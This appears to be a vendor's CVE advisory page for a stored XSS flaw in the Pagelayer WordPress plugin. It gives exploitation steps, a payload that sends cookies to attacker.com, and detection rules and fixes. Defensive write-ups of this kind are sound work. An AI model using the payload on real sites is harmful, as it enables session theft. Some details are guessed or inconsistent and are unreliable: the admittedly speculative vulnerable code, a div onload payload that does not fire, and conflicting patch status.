CVE-2024-2127
Executive Summary
CVE-2024-2127 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress, affecting all versions up to and including 1.8.3. The flaw resides in insufficient input sanitization and output escaping of custom attributes, allowing authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. When a victim user (including administrators) accesses a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin’s custom attribute handling in the drag-and-drop builder fails to properly sanitize user input, enabling persistent XSS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. Users should verify they are running version 1.8.4 or later once a patch is released. No NPM, PyPI, Go, or Ruby packages are involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level or above)
- User Interaction: None (victim only needs to visit the page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires authentication but is trivial for any contributor-level user. The stored XSS can affect all site visitors, including administrators, leading to privilege escalation or site takeover.
Deep Dive & Mechanics
The Pagelayer plugin allows users to add custom HTML attributes to elements via the drag-and-drop builder. The vulnerability exists because the plugin does not properly sanitize or escape these custom attributes before storing them in the database and rendering them on the frontend.
Root Cause: In the pagelayer plugin, the custom_attributes field is processed without adequate validation. An attacker can inject an event handler attribute (e.g., onmouseover, onclick) or a src attribute pointing to malicious JavaScript.
Attack Flow:
- An authenticated user with contributor-level or higher permissions creates or edits a page using Pagelayer.
- The attacker adds a custom attribute to an element, such as
<div onmouseover="alert('XSS')">. - The plugin stores the payload in the WordPress database without sanitization.
- When any user (including administrators) visits the page, the browser executes the injected script.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the site, or redirect users to malicious domains.
Vulnerable vs. Patched Code
Vulnerable Code (Pagelayer <= 1.8.3): The plugin likely uses a function similar to the following to output custom attributes:
// Vulnerable: no escaping
echo ' '.$key.'="'.$value.'"';
Patched Code (Expected):
The patched version should use esc_attr() to escape attribute values:
// Patched: proper escaping
echo ' '.esc_attr($key).'="'.esc_attr($value).'"';
Note: Since no official patch is available, the above is a recommended fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Pagelayer plugin <= 1.8.3
- Contributor-level account or higher
Exploit Steps:
- Log in as a contributor.
- Create a new page or edit an existing one using Pagelayer.
- Add a new element (e.g., a text block).
- In the element’s custom attributes field, add:
onmouseover="alert(document.cookie)" - Save/publish the page.
- When an administrator or any user visits the page and hovers over the element, the XSS triggers.
Advanced Payload:
<div onload="fetch('https://attacker.com/steal?cookie='+document.cookie)"></div>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual custom attributes in Pagelayer elements.
- Look for event handlers (onclick, onmouseover, onload) in page content.
- Use WAF rules to block common XSS patterns.
Hardening:
- Restrict contributor-level permissions.
- Implement Content Security Policy (CSP) headers.
- Use a WordPress security plugin to monitor file changes.
Indicators of Compromise (IOCs)
- Network: Outbound connections to attacker-controlled domains from the WordPress server.
- File: Modified page/post content containing event handler attributes.
- Log: Suspicious POST requests to
/wp-admin/admin-ajax.phpwith custom attribute payloads. - Database: Entries in
wp_postsorwp_postmetacontainingon*=patterns.
Example IOC (Suricata rule):
alert http any any -> any any (msg:"Pagelayer XSS Payload"; content:"onmouseover"; http_client_body; sid:1000001; rev:1;)
Detection Engineering
YARA Rule
rule Pagelayer_Stored_XSS_CVE_2024_2127 {
meta:
description = "Detects stored XSS payloads in Pagelayer plugin"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-2127"
strings:
$xss1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
$xss2 = /javascript\s*:/ nocase
$xss3 = /<script[^>]*>/ nocase
condition:
any of them
}
Sigma Rule
title: Pagelayer Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Pagelayer plugin content
author: Valters IT
date: 2025/04/14
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2127
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '/wp-admin/admin-ajax.php'
http.body|contains: 'onmouseover'
condition: selection
falsepositives:
- Legitimate use of event handlers by developers
level: high
Suricata Rule
alert http any any -> any any (msg:"Pagelayer Stored XSS Payload"; flow:to_server; content:"onmouseover"; http_client_body; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Pagelayer plugin until a patch is available.
- Restrict contributor-level accounts to trusted users only.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-term Fix:
- Update to Pagelayer version 1.8.4 or later once released.
- Apply the following code fix to the plugin’s custom attribute handling:
// In pagelayer/functions.php or similar function pagelayer_sanitize_custom_attributes($attrs) { $sanitized = []; foreach ($attrs as $key => $value) { $sanitized[esc_attr($key)] = esc_attr($value); } return $sanitized; }
Workaround:
- Use a WordPress security plugin to monitor and block suspicious input.
- Regularly audit user permissions and remove unnecessary contributor accounts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.